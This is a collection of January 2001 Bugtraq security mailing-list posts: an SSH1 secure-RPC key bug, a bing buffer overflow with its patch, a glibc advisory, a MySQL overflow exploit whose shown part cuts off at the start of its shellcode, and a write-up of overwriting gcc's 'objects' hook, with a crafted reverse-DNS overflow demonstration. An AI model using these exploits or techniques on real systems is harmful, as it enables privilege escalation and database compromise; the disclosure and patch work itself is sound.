Hash: SHA1


On Thu, 18 Jan 2001, Andy Polyakov wrote:

> In my environment I can *never* see key_encryptsession returning the
> success value in the lack of my secret key and I get "run keylogin" all
> the time... So that it must be something specific to Richard Silver-man's
> NIS+ (mis?)configuration... And indeed, it appears that if
> /etc/nsswitch.conf is configured with "publickey: nisplus files" keyserv
> falls down to nobody's key-pair found in /etc/publickey and uses that
> private key whenever user private key is not around.

This appears to in fact be what's going on.  I wrote:

res> ... most of the time, key_encryptsession returns success instead, and
res> appears to have encrypted its argument only with the public key of
res> the target netname, simply skipping the other encryption step.  This
res> produces a magic phrase which can be generated easily by any other
res> user on the system.

I said "appears" because I wasn't sure exactly what was going on.  The end
result was a key that could be produced by any user without access to my
RPC private key, so I made a guess that the common, public element was my
RPC public key alone.  I wasn't aware of the "feature" of falling back to
using nobody's credentials.

I have confirmed that either running "keyserv -d", or deleting nobody's
secure-RPC keys, makes the bug go away.  So it seems clear that the real
mechanism at work is the fallback to using "nobody"'s secure-RPC keys, to
which all users have effective access.

I assume the reason Andy could not replicate the effect, is that he was
using NIS+.  My test cases used the /etc/publickey file alone -- perhaps
the "nobody fallback" does not work with (certain configurations of?) NIS+
due to table permissions.

> > FIX:
>
> I should recommend to configure NIS+ properly instead...

While I agree that it would be better to disable the fallback-to-nobody
feature when configuring secure-RPC, I do not agree with recommending this
"instead" of applying the fix I suggested.  There's no reason to leave a
serious vulnerability in SSH1 which is triggered by an easy and common
host OS configuration.  The fix is simple and prevents the problem,
regardless of how secure-RPC has been configured.

- --
  Richard Silverman
  [EMAIL PROTECTED]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.2 (GNU/Linux)
Comment: pgpenvelope 2.8.10 - http://pgpenvelope.sourceforge.net/

iD8DBQE6amqmRF4zsgDn/HcRAjt9AKC9aITLFgso7dE1CbYNZ6jUfA++AACeJ1me
hl6v6eMXN/ZR+GcGWo32J3s=
=yZpu
-END PGP SIGNATURE-

Re: Buffer overflow in bing

[Pierre Beyssac]

On Fri, Jan 19, 2001 at 06:52:27PM +0100, Paul Starzetz wrote:
> The buffer overflowed is a 80 byte static local buffer:
>   static char buf[80];

It is patched by default in FreeBSD's package collection. Here's
the patch below (author: [EMAIL PROTECTED]).

I have also issued a bugfix release including this patch, available
from http://www.freenix.org/reseau/bing-1.0.5.tar.gz

--- bing.c.orig Thu Jul 20 16:45:32 1995
+++ bing.c  Sat Mar  4 16:13:05 2000
@@ -718,13 +718,13 @@
u_long l;
 {
struct hostent *hp;
-   static char buf[80];
+   static char buf[MAXHOSTNAMELEN+19];

if ((options & F_NUMERIC) ||
!(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
-   (void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
+   (void)snprintf(buf, sizeof(buf), "%s", inet_ntoa(*(struct in_addr 
+*)&l));
else
-   (void)sprintf(buf, "%s (%s)", hp->h_name,
+   (void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
inet_ntoa(*(struct in_addr *)&l));
return(buf);
 }

--
Pierre Beyssac[EMAIL PROTECTED] [EMAIL PROTECTED]
  Linux : ceux qui n'adorent pas sont forcément des cons
Free domains: http://www.eu.org/ or mail [EMAIL PROTECTED]

Immunix 6.2 OS Security update for glibc

[Greg KH]

---
Immunix OS Security Advisory

Packages updated:   glibc
Effected products:  Immunix OS 6.2
Bugs Fixed: immunix/1322
Date:   January 19, 2001
Advisory ID:IMNX-2000-62-043-01
Author: Greg Kroah-Hartman <[EMAIL PROTECTED]>
---

Description:
  There is a bug in the current version of the GNU C Library (glibc)
  that is shipped with Immunix Linux 6.2.  This bug can allow
  unprivileged users to corrupt files that would normally be restricted
  to them (like /etc/shadow) by allowing them to preload libraries that
  were not specified by the system administrator.  

  Packages have been created and released for Immunix 6.2 to fix this
  problem.

Package names and locations:
  Precompiled binary packages for Immunix 6.2 are available at:
http://immunix.org/ImmunixOS/6.2/updates/RPMS/glibc-2.1.3-22_StackGuard_1.i386.rpm

http://immunix.org/ImmunixOS/6.2/updates/RPMS/glibc-devel-2.1.3-22_StackGuard_1.i386.rpm

http://immunix.org/ImmunixOS/6.2/updates/RPMS/glibc-profile-2.1.3-22_StackGuard_1.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/nscd-2.1.3-22_StackGuard_1.i386.rpm

  Source package for Immunix 6.2 is available at:
http://immunix.org/ImmunixOS/6.2/updates/SRPMS/glibc-2.1.3-22_StackGuard_1.src.rpm

md5sums of the packages:
  73632f0b2da29832b539cd922cf1f726  glibc-2.1.3-22_StackGuard_1.i386.rpm
  e7233177632603a14115adba6d9592eb  glibc-devel-2.1.3-22_StackGuard_1.i386.rpm
  46474424c51ef9b278dfd97017b33b69  glibc-profile-2.1.3-22_StackGuard_1.i386.rpm
  2e7fa539e65c3d75456ab9fb0cc37270  nscd-2.1.3-22_StackGuard_1.i386.rpm
  bbae74987f16567fcfe6481efdf92435  glibc-2.1.3-22_StackGuard_1.src.rpm

Online version of all Immunix 6.2 updates and advisories:
  http://immunix.org/ImmunixOS/6.2/updates/

 PGP signature

Re: MySQL < 3.23.31 Overflow [exploit]

[Luis Miguel Ferreia Silva]

Hello...
Here's a exploit for this...
[See attached...]

Regardz,
Lus Miguel Silva aka wC

Member of lonoss.org and unsecurity.org
http://www.lonoss.org/
http://www.unsecurity.org/
http://www.ispgaya.pt/ Student

Personal WebPage at:
http://paginas.ispgaya.pt/~lms/
&&
http://www.unsecurity.org/wC/

Personal Code at:
www.unsecurity.org/wC/MyCode/




/*



 Linux MySQL Exploit by Luis Miguel Silva [aka wC]

 [EMAIL PROTECTED]

 19/01/y2k+1



 Compile:



   gcc MySQLXploit.c -o MySQLX



 Run with:



   You can specify the offset for the exploit passing it as the 1st arg...



   Example: ./MySQLX 0 ---> this is the default offset :]



 Advisorie: 

 [from a bugtraq email]



 Hi,



 all versions of MySQL < 3.23.31 have a buffer-overflow which crashs the

 server and which seems to be exploitable (ie. 4141414 in eip)



 Problem :

 An attacker could gain mysqld privileges (gaining access to all the

 databases)



 Requirements :

 You need a valid login/password to exploit this



 Solution :

 Upgrade to 3.23.31



 Proof-of-concept code :

 None



 Credits :

 I'm not the discoverer of this bug

 The first public report was made by [EMAIL PROTECTED] via the MySQL

 mailing-list

 See the following mails for details



 Regards,

 Nicob



 Here the original post to the MySQL mailing-list :

 ==



 On Jan 12, Jo?o Gouveia wrote:

 > Hi,

 >

 > I believe i've found a problem in MySql. Here are some test's i've made in

 > 3.22.27 x86( also tested on v3.22.32 - latest stable, although i didn't

 > debug it, just tested to see if crashes ).Confirmed up to latest 3.23



 > On one terminal:

 > 

 > spike:/var/mysql # /sbin/init.d/mysql start

 > Starting service MySQL.

 > Starting mysqld daemon with databases from /var/mysql

 > done

 > spike:/var/mysql #

 >

 >

 > On the other terminal:

 > 

 > jroberto@spike:~ > mysql -p -e 'select a.'`perl -e'printf("A"x130)'`'.b'

 > Enter password:

 > (hanged..^C)

 > 

 >

 > On the first terminal i got:

 > 

 > spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault

 > nohup

 > $ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

 > g "$@" >>$err_log 2>&1>

 > Number of processes running now: 0

 > mysqld restarted on  Fri Jan 12 07:10:54 WET 2001

 > mysqld daemon ended

 > 

 >

 > gdb shows the following:

 > 

 > (gdb) run

 > Starting program: /usr/sbin/mysqld

 > [New Thread 16897 (manager thread)]

 > [New Thread 16891 (initial thread)]

 > [New Thread 16898]

 > /usr/sbin/mysqld: ready for connections

 > [New Thread 16916]

 > [Switching to Thread 16916]

 >

 > Program received signal SIGSEGV, Segmentation fault.

 > 0x41414141 in ?? ()

 > (gdb) info all-registers

 > eax0x1  1

 > ecx0x68 104

 > edx0x8166947135686471

 > ebx0x41414141   1094795585

 > esp0xbf5ff408   0xbf5ff408

 > ebp0x41414141   0x41414141

 > esi0x41414141   1094795585

 > edi0x0  0

 > eip0x41414141   0x41414141

 > eflags 0x10246  66118

 > cs 0x23 35

 > ss 0x2b 43

 > ds 0x2b 43

 > es 0x2b 43

 > fs 0x0  0

 > gs 0x0  0

 > (gdb)

 > 

 >

 > looks like a tipical overflow to me.

 > Please reply asap, at least to tell me i'me not seeing things. :-)>

 > Best regards,

 >

 > Joao Gouveia aka Tharbad.

 >

 > [EMAIL PROTECTED]



 Here the reponse to a email I send today to the MySQL list :

 



 Sergei Golubchik (MySQL team) wrote :

 >

 > Hi!

 >

 > On Jan 18, Nicolas GREGOIRE wrote:

 > > Hi,

 > >

 > > Still not any info about the buffer-overflow discovered last week ?

 > > Shouldn't be fixed at the beginning of the week ?

 > >

 > > Please, dear MySQL team, give us info !!

 > >

 > > Regards,

 > > Nicob

 >

 > Fixed in latest release (3.23.31).

 >

 > Regards,

 > Sergei



 Here an part of the 3.23.30 to 3.23.31 diff :

 =



 +Changes in release 3.23.31

 +--

 +

 +   * Fixed security bug in something (please upgrade if you are using a

 + earlier MySQL 3.23 version).



 End of Advisorie



 Final Words: Yes..i'm still alive... [just a'sleep..]



 A big kiss to niness and hugs to all my friends...

 lucipher && all of the unsecurity.org crew...

 JFA and all of the AngelSP [pseudo :P]'crew...

 Ahmm...i just wave everybody :]



*/



#include 



#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 130

#define RET_ADDR 0x41414141

#define NOP 0x90



// Our EVIL code...

char shellcode[] =

  "\xeb\x1

Re: BugTraq: EFS Win 2000 flaw

[Alexander Ivanchev]

Hello.

Correct me if I'm wrong, but the use of programs that utilize direct disk
access (such as DiskProbe) is restricted to the Local Administrator
account (as per
http://www.microsoft.com/windows2000/guide/professional/solutions/manageme
nt.asp). If an would be attacker has this kind of access, he automatically
has the sufficient power (due to the existence of the recovery agent
certificate, unless the computer is part of a domain (but that's another
story) to decrypt any locally stored file.

Nevertheless good work. This particular behavior of handling .tmp files by
the EFS code shows some poor design on Microsoft's part.

Regards,
 Alexander

-Original Message-
From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of
Rickard Berglind
Sent: Friday, January 19, 2001 12:30
To: [EMAIL PROTECTED]
Subject: BugTraq: EFS Win 2000 flaw


I have found a major problem with the encrypted filesystem
( EFS ) in Windows 2000 which shows that encrypted files
are still very available for a thief or attacker.



 smime.p7s

Buffer overflow in bing

[Paul Starzetz]

1. Abstract:


There is an overflowable buffer in the bing (throughput meassurement
tool) binary.


2. Details:
---

The bing tool comes with various Linux distributions. On SuSE (at least
6.0-6.4) bing isn't installed by default, but if installed it will be
suid root:

4556   54 -r-sr-xr-x   1 root root 54929 Apr  5  1999 /usr/bin/bing


The buffer overflowed is a 80 byte static local buffer:

char *
pr_addr(l)
u_long l;
{
struct hostent *hp;
static char buf[80];

if ((options & F_NUMERIC) ||
!(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
else
(void)sprintf(buf, "%s (%s)", hp->h_name,
inet_ntoa(*(struct in_addr *)&l));
return(buf);
}


It is possible to overwrite (look at the objects article) the global
'objects' hook with data comming from gethostbyname.

The attacker must have controll of at least one IN-ADDR.arpa zone, in
order to force gethostbyname() return an arbitrary host name (wouldn't
be too hard I think...)

The impact is obvious, even if the overflow is hard to exploit in
practice. Another difficulty arises from the fussy gethostbyname(). It
may become impossible to supply a host name you need for successfull
exploitation, because gethostbyname would filter strange characters and
reject bogus hostnames. Though, it depends on the virtual addresses the
programm is running at (hm, what about some run time variables of the
malloc-system or preload stuff?)


Looking at the symbol table I found that:

paul@phoenix:~/tmp2/bing > objdump --syms /usr/bin/bing|grep "0804f4"
0804f4ac l O .bss   0001 nrand
0804f4a8 l O .bss   0004 lastrand
0804f420 l O .bss   0050 buf.34
0804f470 l O .bss   0004 old_rrlen.37
0804f480 l O .bss   0028 old_rr.38
0804f4b0 l O .bss   0004 objects
0804f4c0 g O .bss   ffbc outpack

There are 6 variables which we can overwrite, though. The offset from
buf to objects hook is 144 (dec). To demonstrate this set up a bogus
reverse zone with a revptr like this:

"overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil"

AbCd is the place where 'objects' will be overwritten. A simple check
confirms this:

root@phoenix:/var/named > /etc/rc.d/named start
Starting name server.done

root@phoenix:/var/named > host 192.168.100.5
5.100.168.192.IN-ADDR.ARPA domain name pointer
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil

root@phoenix:/var/named > bing -v -e1 -c1 192.168.100.5 192.168.100.5
BING192.168.100.5 (192.168.100.5) and 192.168.100.5 (192.168.100.5)
44 and 108 data bytes
52 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request

116 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request


--- 192.168.100.5 statistics ---
bytes   outin   dup  loss   rtt (ms): min   avg   max
   44 1 1  0%   9.621 9.621 9.621
  108 1 1  0%   7.477 7.477 7.477

--- 192.168.100.5 statistics ---
bytes   outin   dup  loss   rtt (ms): min   avg   max
   44 1 0100%
  108 1 0100%

not enough received packets to estimate link characteristics.
resetting after 1 samples.
Segmentation fault

This hapens after bing has finished its work and the libc stuff is
beeing executed:

root@phoenix:/var/named > gdb /usr/local/bing
GNU gdb 4.17.0.11 with Linux support

(gdb) set args -v -e1 -c1 192.168.100.5 192.168.100.5
(gdb) run
Starting program: /usr/bin/bing -v -e1 -c1 192.168.100.5 192.168.100.5
.
.
Program received signal SIGSEGV, Segmentation fault.
0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at ./frame.c:581

(gdb) bt
#0  0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at
./frame.c:581
#1  0x8048d01 in __do_global_dtors_aux ()
#2  0x804cf55 in _fini ()
#3  0x400320f5 in exit (status=0) at exit.c:55


3. Impact:
--

On systems with suid /usr/bin/ping it may be possible under certain
circumstances to gain root priviledges.


4. Solution:


chmod 700 /usr/bin/bing


--
Paul Starzetz

Buffer overflows using 'objects' hook

[Paul Starzetz]

1. Abstract:


On i386 systems using gcc/g++ it is possible to change memory values if
a global variable 'objects' is overwritten. Sample vulnerable programm
looks like this:

vuln()
{
static char buf[16];

strcpy(buf, much_more_than_buf);
}

main()
{
//  calling vuln() will be ok
vuln();
printf("\nI'm alive");
fflush(stdout);
} <-- here it would sigsegv


2. Details:
---

In many (if not all) i386 binaries compiled with gcc there is a global
variable called 'objects'. It is a pointer to a list holding information
about unwinding the stack if an c++ exception occurs. (I'm right?)

To see this, try with some binary:

root@phoenix:/proc > objdump --syms /usr/sbin/checkdisk|grep object
0804a89c l O .bss   0018 object.8
0804a7b4 l O .data  0004 object_mutex
0804a8b4 l O .bss   0004 objects

In particular the 'objects' variable is set to '0' if the program
doesn't use exceptions. If 'objects' is set, it will point to a
structure of type 'struct object':

struct object {
  void *pc_begin;
  void *pc_end;
  struct dwarf_fde *fde_begin;
  struct dwarf_fde **fde_array;
  size_t count;
  struct object *next;
};


The 'objects' variable will be inspected on the end_of_execution of any
programm by the gcc stub function called __deregister_frame_info:

(gdb) bt
#0  0x804cc24 in __deregister_frame_info (begin=0x804f1e0) at
./frame.c:581
#1  0x8048d01 in __do_global_dtors_aux ()
#2  0x804cf55 in _fini ()
#3  0x400320f5 in exit (status=1) at exit.c:55
#4  0x804b2cc in usage ()
#5  0x804b7a4 in main ()


So lets look at the code of __deregister_frame_info, it is in frame.c in
your gcc distribution:

/* Called from crtbegin.o to deregister the unwind info for an object.
*/

void *
__deregister_frame_info (void *begin)
{
  struct object **p;

  init_object_mutex_once ();
  __gthread_mutex_lock (&object_mutex);

  p = &objects;
  while (*p)
{
  if ((*p)->fde_begin == begin)
{
  struct object *ob = *p;
  *p = (*p)->next;

  /* If we've run init_frame for this object, free the FDE array.  */
  if (ob->pc_begin)
free (ob->fde_array);

  __gthread_mutex_unlock (&object_mutex);
  return (void *) ob;
}
  p = &((*p)->next);
}

  __gthread_mutex_unlock (&object_mutex);
  abort ();
}

It looks promissing. So what will happen if due to a buffer overflow
'objects' is pointing to an arbitrary address during
__deregister_frame_info call? __deregister_frame_info will go over the
object list like the ascii drawing below shows until the condition
fde_begin == begin (where begin is the argument given to
__deregister_frame_info = MAGICVALUE, it will be the address of
__FRAME_END__ in section .eh_frame) matches or the end of the list is
encountered:


objects
|
|
V

| pc_begin | pc_end | fde_begin | fde_array | count | next |

    != begin   |
   |   
 
---|
|
|
|
V

| pc_begin | pc_end | fde_begin | fde_array | count | next |

  |
  |


This may lead to an endless loop, if you can fool 'objects' to point to
an area containing adresses of itself :-)

The interessting part begins, if fde_begin == begin (begin=MAGICVALUE)
in some element in the 'objects' list. Then the following code will be
executed:

  struct object *ob = *p;
  *p = (*p)->next;

  /* If we've run init_frame for this object, free the FDE array.  */
  if (ob->pc_begin)
free (ob->fde_array);

So we are able to write to the address where the current object
structure begins (call it ADR) the value at the memory address ADR+0x14
!

Lets now look at the asm code of __deregister_frame_info, the piece we
need is:

0x804cc10 <__deregister_frame_info>:pushl  %ebp
0x804cc11 <__deregister_frame_info+1>:  movl   %esp,%ebp
0x804cc13 <__deregister_frame_info+3>:  pushl  %esi
0x804cc14 <__deregister_frame_info+4>:  pushl  %ebx
0x804cc15 <__deregister_frame_info+5>:  call   0x804cc1a
0x804cc1a <__deregister_frame_info+10>: popl   %ebx
0x804cc1b <__deregister_frame_info+11>: addl   $0x25da,%ebx
0x804cc21 <__deregister_frame_info+17>: movl   0x8(%ebp),%eax

So we see that the magic value is taken from the stack at 0x8(%ebp).

Imagine now, we let 'objects' point to the address eax is taken from -
8, which would be the pushed EBP. Then fde_begin == begin will allways
match in __deregister_frame_info and we are able to overwrite EBP with
arbitrary value from the memory location at objects + 0x

Re: Solaris /usr/bin/cu Vulnerability

[Wietse Venema]

On Thu, Jan 18, 2001 at 11:57:12PM +0100, Konrad Rieck wrote:
> cu is only set setuid for the owner uucp and an attacker won't gain any
> special privileges, but he would gain access to the files in /etc/uucp.

Michael H. Warfield:
>   Correction...  He does gain special privileges.  He gains access
> to all the uucp control files which can contain account names and passwords
> on other systems.  It ain't root, but it's more than what he should have.

It is worse than that. Once UUCP privilege is gained you can replace
the UUCP executables. That gives you full control over any user that
happens to execute those UUCP executables - a root-owned cron job,
a sendmail.cf mailer rule that executes as daemon, and so on.

Wietse